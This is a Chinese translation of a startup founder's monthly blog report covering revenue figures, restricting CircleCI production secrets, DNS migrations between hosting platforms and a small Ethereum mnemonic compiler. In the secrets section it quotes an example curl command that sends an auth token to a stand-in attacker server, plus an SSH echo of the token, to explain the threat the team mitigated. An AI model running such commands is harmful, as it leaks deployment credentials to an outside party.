TinyPilot:第 45 個月
原文由 Michael Lynch 于 發布,訂閱此部落格
一句話總結
更審慎地思考部署這件事。
本月亮點
- 與 TinyPilot 團隊合作,在不影響既有工作流程的前提下,收緊了部署相關機密的存取權限。
- 從過去的錯誤中學習,在不同平台間遷移服務時將停機時間降到最低。
- 寫了人生第一個編譯器,雖然非常陽春。
目標達成度
每個月月初,我都會訂下當月想完成的目標。以下是這個月的達成狀況:
補齊 TinyPilot 發布文件的缺口
- 結果:補上了上次發布時發現的文件缺口。
- 評分:A
三月的 TinyPilot Pro 版本是第一次我完全沒有親自執行任何發布作業。整體發布還算順利,但在流程中有幾個環節,團隊不太清楚下一步該怎麼做。
我和開發團隊與支援工程團隊分別做了事後檢討,蒐集大家對這次發布的回饋。這些會議帶來了許多有價值的意見,我們也據此修訂了內部文件與操作手冊,解決了過程中遇到的卡點。
完成 2023 年報稅
- 結果:所有報稅文件皆已準時提交。
- 評分:A
今年的報稅比較複雜,因為這是我第一次以已婚身分合併申報,又還在等幾份稅務表單,不過現在都已全部完成。
TinyPilot 數據總覽
| 指標 | 2024 年 2 月 | 2024 年 3 月 | 變化 |
|---|---|---|---|
| 獨立訪客 | 13,000 | 9,100 | -3,900 (-30%) |
| 銷售營收 | $82,517.42 | $107,809.83 | +$25,292.41 (+31%) |
| 企業訂閱 | $290.70 | $290.70 | 0 |
| 權利金 | $3,373.65 | $2,442.12 | -$931.53 (-28%) |
| 總營收 | $86,181.77 | $110,542.65 | +$24,360.88 (+28%) |
| 獲利 | $23,599.09 | $3,193.73 | -$20,405.36 (-86%) |
三月是 TinyPilot 有史以來銷售營收最高的月份,以些微的 600 美元差距打破了先前的紀錄。若只看單月的獲利是下滑的,但更有意義的是看三個月的平均值,而這個數字表現依然強勁。
訪客數較上個月下滑,但只是因為二月受惠於我那篇創業第六年回顧文章帶來了不尋常的流量高峰。
收緊 TinyPilot 正式環境機密的存取權限
過去幾個月,我們一直在改善 TinyPilot 的發布流程,讓它更自動化、也更不需要依賴我來推動。
在檢視發布流程時,我們發現有太多團隊成員擁有正式環境機密的存取權限。所謂的正式環境機密,指的是用來發布網站或 TinyPilot 應用程式新版本所需的驗證權杖等資訊。
我們團隊規模很小,所以所謂的「太多人」指的是五個人而不是一個人。即使如此,仍有四個人其實不需要、卻擁有這些正式環境機密的存取權限。
TinyPilot 的大多數儲存庫都採用「綠燈即發布(push on green)」的模式,也就是只要程式碼變更通過了 CircleCI(我們的持續整合服務)上的自動化測試,就會直接發布到正式環境。
我們把機密資訊存成 CircleCI 的環境變數。一開始這看起來沒什麼問題,因為環境變數是只能寫入的,儲存放進去後就無法再讀取數值。

CircleCI 的管理介面只會顯示環境變數數值的其中一部分,而且只有 CircleCI 管理員才能看到。請注意,這裡顯示的是假資料。
當我們開始更嚴謹地思考如何保護機密時,才發現儘管 CircleCI 的網頁介面看起來很安全,實際上五位團隊成員都等同於擁有這些環境變數的存取權限。心懷不軌的成員可以用以下兩種方式竊取機密:
- 在程式碼儲存庫中建立一個新分支,然後修改 CircleCI 的設定檔,把機密外洩到自己控制的遠端伺服器,例如
curl http://attacker-server.example.com/exfiltrate?token=$AUTH_TOKEN - 對任何 CircleCI 工作啟用 SSH 連線,然後在命令列中輸入
echo $AUTH_TOKEN。
第一種手法原則上有機會被發現,但我們從來沒有檢查過。第二種則完全無法偵測,因為 CircleCI 不會記錄 SSH 連線的過程。
這類攻擊必須來自 TinyPilot 團隊內部,因為第三方貢獻者根本無法存取 CircleCI 的環境變數。
我們研究了如何收緊權限,CircleCI 的文件建議將涉及安全的機密存放在「contexts」中。Contexts 本質上仍是環境變數,但多了額外的存取控管。
安全 Contexts 原本只能限制特定的人員才能存取。也就是說,我們可以維持現有流程、讓所有人都能存取機密,但那就等於什麼都沒改;或者,我們也可以武斷地指定只有團隊中的少數可信任成員才能啟動每次部署,但那會大幅增加流程的阻力。
我們聯繫了 CircleCI 的支援團隊,他們表示正好即將推出一個能解決我們問題的功能。兩週後,CircleCI 推出了基於表達式的 Context 限制(expression-based context restrictions),的確完美地解決了我們的難題。
CircleCI 的表達式限制讓我們除了使用者白名單之外,還能對 Context 加上更多條件。我們可以把機密限制在特定分支才能使用,並在啟用 SSH 時禁止存取。最後我們設定的表達式類似這樣:
pipeline.git.branch == "master" and not job.ssh.enabled這個表達式能緩解上述的攻擊手法 (1),因為心懷不軌的成員若試圖透過分支來竊取機密,在他的分支中根本就無法存取到該機密。
這個表達式也能緩解攻擊手法 (2),因為當使用者以啟用 SSH 的方式啟動 CircleCI 工作時,機密就會變成無法存取。
我們的 master 分支要求任何變更都必須至少經過一人核准,所以這套機制仍有可能被兩名成員聯手發動惡意攻擊所突破。一名成員可以提交一段會外洩機密的程式碼變更,再由共謀的另一名成員核准。不過,這種攻擊會相當顯眼,因為變更會出現在我們經常編輯的檔案中,而且會有清楚的稽核紀錄顯示是誰提交的。
整體而言,我對 CircleCI 的表達式 Context 限制感到很滿意。如果你所在的團隊讓 CI 系統存有正式環境的機密,我會建議你好好想想,是否讓太多其實不需要的人也擁有了這些機密的存取權限。
改善在不同主機間遷移服務的流程
剛開始做 TinyPilot 時,我傾向把服務託管在 Google Cloud Platform 和 Amazon Web Services 這類大型平台上。過去四年來,我逐漸偏好 Netlify 和 Fly.io 這類規模較小的供應商。
TinyPilot 的大多數服務已經搬到較小的託管平台了,但仍有幾個是一開始就架好、之後一直沒搬遷的服務,所以我決定來一次整合。
其中一次遷移過程有些顛簸,而我把學到的教訓運用在下一次,讓後續的遷移順利許多。
從 Firebase 遷移到 Netlify(過程顛簸)
TinyPilot 官網只是一個靜態網站,所以託管在哪裡都可以。它原本放在 Firebase Hosting 上,因為那是我 2020 年時所有服務的預設選擇,用起來也一直沒什麼問題。但在圍繞安全 Context 重新設計部署流程時,我意識到這正好是個機會,可以把網站從 Firebase 搬到我現在偏好的靜態網站託管平台 Netlify。
這看起來應該會是一次簡單的遷移。沒有資料庫或任何需要同步的東西,我只要開始在 Netlify 上發布網站,再把 DNS 紀錄更新指向新主機就好。
至少我當時是這麼想的。
我在 Netlify 上發布完成,更新了 tinypilotkvm.com 的 DNS 紀錄,試著瀏覽網站,結果卻出現:TLS 錯誤。

更新 DNS 紀錄後,馬上在瀏覽 TinyPilot 官網時看到了 TLS 錯誤。
這可糟了。沒有人會想在瀏覽器剛警告「這個網站可能會竊取你的信用卡資訊」之後,還繼續在上面購物。
更糟的是,我是在週四美東時間早上 9 點半做這個變更的,正好是我們付費用戶最集中的時段。
難道是 Netlify 還沒產生好 TLS 憑證嗎?我檢查了 TLS 錯誤訊息,發現瀏覽器抱怨的是來自 Firebase 的 TLS 憑證。咦?Firebase 難道不是應該還用舊憑證正常提供舊版網站嗎?
我原本對訪客狀況的想像是,根據他們 DNS 伺服器中資訊的新舊程度,會分成兩種情況:
- 他們查詢到的 DNS 伺服器仍有舊的 Firebase IP 位址 -> 他們會看到舊的 Firebase 版本,一如我更新 DNS 前那樣正常運作。
- 他們查詢到的 DNS 伺服器已有新的 Netlify IP 位址 -> 他們會看到新的 Netlify 版本正常運作。
即使到現在,我還是不明白為什麼會看到 Firebase 的憑證錯誤。我唯一能想到的解釋是,Firebase 會對 DNS 變更做出反應,一旦相關的 DNS 紀錄改變就立刻讓憑證失效。但 Firebase 的管理後台卻仍顯示我的憑證是有效的。
作為權宜之計,我把 Firebase 設定成將訪客重新導向到 netlify-preview.tinypilotkvm.com,也就是我前一天為新網站設好的暫時網域。這招奏效了,客戶不再看到 TLS 錯誤。我有點後悔當初選了 netlify-preview 這麼奇怪的暫時網域名稱,因為這會讓客戶強烈感覺到哪裡怪怪的,但總比 TLS 錯誤好。
接下來一整天,舊的 Firebase 網站仍持續收到流量,但在幾天內慢慢降到零。一週後,我把 Firebase 上的網站關掉了。
從 AWS 遷移到 Fly.io(過程順利)
TinyPilot 使用一個LogPaste 伺服器來收集使用者回報的診斷日誌。這是一個簡單的 Go 應用程式,而我偏好的 Go 服務託管平台是 Fly.io。但 TinyPilot 的 LogPaste 伺服器當時是跑在 AWS LightSail 上,所以我決定把它從 LightSail 遷移到 Fly.io。
遷移 LogPaste 比遷移 TinyPilot 官網稍微麻煩一點,因為 LogPaste 還有一個 SQLite 資料庫。不過風險也較低,就算 LogPaste 伺服器停擺個幾天,也不會造成太大的災難。
遷移前一天,我把 logs.tinypilotkvm.com 的 DNS 紀錄 TTL 調低到一分鐘。DNS 伺服器不一定會遵守 TTL,但我想至少對那些會遵守的伺服器來說,能減少快取時間還是有幫助的。
我也在 Fly.io 上用網域名稱 logs2.tinypilotkvm.com 部署了一個 LogPaste 的測試版本。這樣一來,如果我需要像處理 TinyPilot 官網那樣玩重新導向的把戲,就會有一個不會太奇怪的網址可以導向。
我還準備了一個遷移腳本,可以把資料從舊的 LightSail 版本搬到新的 Fly.io 版本。這是一個簡單的 bash 腳本,會從 Amazon S3 儲存桶下載正式環境的資料庫,再上傳到支援新 Fly.io 伺服器的儲存桶中。
到了部署當天,我一早 7 點起床就馬上執行遷移。這樣一來,就算有短暫的服務中斷,受影響的人也會少一些。
幸好,這次遷移非常順利。我鏈路上的所有 DNS 伺服器似乎都有遵守 1 分鐘的 TTL,因為我的 Fly.io 伺服器日誌幾乎馬上就顯示 LogPaste 開始處理來自 logs.tinypilotkvm.com 的請求。
我讓 LightSail 上的舊版本繼續運作了一週,確認不再有流量後才將它刪除。
跨主機遷移服務的通用策略
註:這大概不是最理想的遷移策略。我猜應該有更好的做法可以最大程度避免憑證錯誤,但這已經比我之前的做法好多了。
下次再需要在不同主機間搬移服務時,我打算遵循這個月學到的流程。
舉一個通用的例子,假設你要把託管在 example.com 這個網址上的服務,從平台 A 搬到平台 B。
準備日
在預計遷移的一到兩天前,先完成以下步驟:
- 將你的服務部署到平台 B。
- 在平台 B 上為你的服務建立一個子網域的憑證。
- 這通常在託管平台的「新增自訂網域」設定中找到。
- 選擇一個就算被客戶看到也不會讓他們覺得奇怪的子網域,例如
www2.example.com或web.example.com。 - 不要選擇像
insecure-staging.example.com這種會讓一般使用者感到不安的子網域。
- 為新的子網域新增指向平台 B 的 DNS 紀錄。
- 確認你可以透過新的子網域瀏覽平台 B 上的服務,且瀏覽器沒有出現 TLS 錯誤。
- 將正式環境
example.com的 DNS 紀錄 TTL 調低,例如 1 到 5 分鐘。 - 在平台 B 上為正式環境的
example.com網域產生憑證。
遷移日
在遷移當天,執行以下步驟。
- 選擇流量較低的時段。
- 如果你可能需要團隊成員支援,請確保他們有空並且知道這次遷移。
- 將
example.com的 DNS 紀錄更新為指向平台 B,而非平台 A。 - 確認你仍可透過主要的
example.com網址存取服務。
如果在更新 DNS 後瀏覽服務時,看到平台 A 的 TLS 錯誤:
- 作為暫時性的權宜措施,將平台 A 設定為把流量重新導向到你在準備日建立的暫時子網域。
- 使用
dig檢查 DNS 紀錄在你本機端何時過期,並觀察 TLS 錯誤是否在 DNS 紀錄過期後消失。
退役舊伺服器
遷移後至少等待 24 小時,再執行以下步驟:
- 確認流向平台 A 的流量已經停止。
- 將平台 A 上的伺服器退役。
- 確認在沒有平台 A 的情況下,服務仍可正常存取。
- 將正式環境 DNS 紀錄的 TTL 恢復為合理的數值,例如 60 分鐘。
- 從 DNS 紀錄中移除暫時子網域。
業餘專案
寫一個簡單的編譯器
為了更深入了解 Zig、直譯器和以太坊,過去幾個月我一直在開發一個用 Zig 實作的以太坊虛擬機,叫做eth-zvm。
我已經為 eth-zvm 寫了效能基準測試,但它們執行的程式只是一段段以太坊位元組碼,像這樣:
60016000526001601ff3那段位元組碼很難直接編輯。當我想修改測試時,必須先把位元組碼反編譯成人類可讀的形式,改完後再重新編譯回原始的位元組。
以太坊有一種人類可讀的位元組碼表示法,叫做助憶碼(mnemonic)格式,所以上面那段位元組碼對應的助憶碼長這樣:
PUSH1 0x01
PUSH1 0x00
MSTORE
PUSH1 0x01
PUSH1 0x1f
RETURN雖然還是很底層,但比起原始的位元組碼就容易理解多了。
我想要用助憶碼格式而非位元組碼來儲存我的測試。我找過助憶碼轉位元組碼的編譯器,但找不到任何能在命令列上直接使用的工具。
這看起來是個不算太難的任務,所以我決定自己寫一個助憶碼轉位元組碼的編譯器。
以編譯器來說,我這個大概是簡單到不能再簡單的程度。每一個可能的輸入詞彙,幾乎都能一對一對應到輸出的每一個位元組。
這是一個非常簡單的範例程式:
$ echo 'RETURN' | ./mnc /dev/stdin /dev/stdout
f3RETURN 的 opcode 數值是 0xf3,所以輸出的位元組碼就只是 f3。
當 opcode 帶有參數時,就稍微複雜一點,例如 PUSH1,它會將一個位元組推入堆疊:
$ echo 'PUSH1 0x42' | ./mnc /dev/stdin /dev/stdout
6042我也可以使用 PUSH32,它會將一個 32 位元組的值推入堆疊:
$ echo 'PUSH32 0x42' | ./mnc /dev/stdin /dev/stdout
7f0000000000000000000000000000000000000000000000000000000000000042我還實作了行內註解的支援,所以上面那個範例程式加上註解後會長這樣:
$ tempfile="$(mktemp)" && \
cat << EOF > "${tempfile}"
// Store 0x01 in memory as a 32-byte word.
PUSH1 0x01
PUSH1 0x00
MSTORE
// Return 1 byte from offset 31 in memory.
PUSH1 0x01
PUSH1 0x1f
RETURN
EOF
$ ./mnc "${tempfile}" /dev/stdout
60016000526001601ff3現在我把 eth-zvm 的基準測試範例都以人類可讀的助憶碼格式儲存,並在需要時即時編譯成位元組碼來執行測試。
寫一個編譯器很有趣,即使是很簡單的那種。我的編譯器目前甚至會接受像 PUSH1 RETURN 這種語意上不正確的程式碼,但對我的需求來說已經夠用了。這個專案仍是一個很有趣的方式,讓我更深入地學習程式語言底層的運作原理。
總結
完成了什麼?
- 收緊了 TinyPilot 正式環境機密的存取權限。
- 發表了〈為什麼一個多餘的建置步驟,會讓我的 Zig 應用程式快上 10 倍?〉
- 發表了〈打造我的第一座 Homelab 機櫃〉
- 將 TinyPilot 的託管服務整合到 Fly.io 和 Netlify。
- 將 RMA 流程委外給第三方廠商。
經驗與教訓
- 把機密存放在 CI 的環境變數中是好做法,但團隊成員越多,就越應該限制存取權限。
- 在不同平台間遷移服務時,要採用嚴謹的做法。
- 選擇一個不會影響業務、但又有足夠時間補救錯誤的時段。
- 至少在遷移前一天就把 DNS 的 TTL 調低。
- 事先準備好新的 TLS 憑證。
- 選擇一個就算被終端使用者看到也能接受的暫時子網域名稱。
下個月的目標
- 與三家新的潛在 TinyPilot 經銷商或銷售通路展開洽談。
- 督導兩項新的 TinyPilot 軟體功能的開發。
- 與製造商協調 2024 年剩餘時間的生產計畫。
隨機一篇部落格
留言
登入後參與討論